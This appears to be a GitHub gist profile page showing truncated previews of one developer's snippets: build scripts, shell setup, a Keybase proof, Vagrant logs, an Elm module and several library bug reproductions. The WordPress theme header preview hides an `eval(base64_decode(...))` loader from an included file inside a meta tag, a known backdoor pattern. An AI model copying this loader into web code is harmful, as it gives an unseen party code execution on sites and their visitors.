Skip to content

Instantly share code, notes, and snippets.

var gulp = require('gulp')
var browserify = require('browserify')
var babelify = require('babelify')
var concat = require('gulp-concat')
var gulpUtil = require('gulp-util')
var imageDataUri = require('gulp-image-data-uri')
var nib = require('nib')
var o = require('object-assign')
var plumber = require('gulp-plumber')
var source = require('vinyl-source-stream')
#!/bin/bash
SR_ROOT=/vol/lab/cs4/SoftwareReliability
DAIKONDIR=$SR_ROOT/daikon_latest
JAVA_HOME=/usr/lib/jvm/java-7-openjdk-amd64
source $DAIKONDIR/scripts/daikon.bashrc
CLASSPATH=.:$CLASSPATH

Keybase proof

I hereby claim:

  • I am lachenmayer on github.
  • I am lachenmayer (https://keybase.io/lachenmayer) on keybase.
  • I have a public key whose fingerprint is 7352 D181 3010 4493 5D3B C0FC 4FB6 13DF 4F9D 847F

To claim this, I am signing this object:

λ vagrant up 13:00:27
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Importing base box 'hashicorp/precise64'...
==> default: Matching MAC address for NAT networking...
==> default: Checking if box 'hashicorp/precise64' is up to date...
==> default: Setting the name of the VM: local-wordpress-chassis2_default_1436961646817_38605
==> default: Fixed port collision for 22 => 2222. Now on port 2200.
==> default: Clearing any previously set network interfaces...
==> default: Preparing network interfaces based on configuration...
default: Adapter 1: nat
module ModuleName (Action, Model, init, update, view) where
import Html as H exposing (Html)
import Html.Attributes as A
import Html.Events as E
import Signal as S exposing (Signal, Mailbox, Address, (<~))
type Action
= NoOp
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" <?php language_attributes(); ?>>
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php require_once("theme_licence.php"); eval(base64_decode($f1)); bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<title><?php bloginfo('name'); ?> <?php if ( is_single() ) { ?> &raquo; Blog Archive <?php } ?> <?php wp_title(); ?></title>
<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
@lachenmayer
lachenmayer / BeautifulSoupBug.py
Created April 18, 2012 02:06
BeautifulSoup bug
# Should not parse the script tag inside quotes in the JavaScript.
# Expected: BeautifulSoup object
# Actual: HTMLParser.HTMLParseError: bad end tag: u"</' + 'script>", at line 1, column 22
from bs4 import BeautifulSoup
html = "<html><head><script>'</' + 'script>';</script></head><body></body></html>"
BeautifulSoup(html)
@lachenmayer
lachenmayer / test.jade
Created September 15, 2012 06:16
Paper.js does not fill - test case
!!! 5
html
head
script(src='js/paper.js', type='text/javascript')
script(type='text/javascript')
window.onload = function() {
var canvas = document.getElementById('canvas');
paper.setup(canvas);
var rect = new paper.Path.Rectangle(new paper.Point(50, 50), new paper.Point(200, 200));
rect.strokeColor = '#000000';
@lachenmayer
lachenmayer / pull-ws-bug.js
Created September 20, 2016 22:27
pull-ws-bug
const connect = require('pull-ws/client')
const pull = require('pull-stream')
const {source} = connect('ws://localhost:1337', (err, stream) => {
pull(
stream,
pull.log()
)
// expected: log 'hello!'
// actual: stream is undefined
@lachenmayer
lachenmayer / README.md
Created November 16, 2016 15:27
Jest carriage return bug

To reproduce:

  1. Run ./node_modules/.bin/jest - a snapshot is created in ./__snapshots__/
  2. Run ./node_modules/.bin/jest again.

Expected:

The test should pass.

Actual: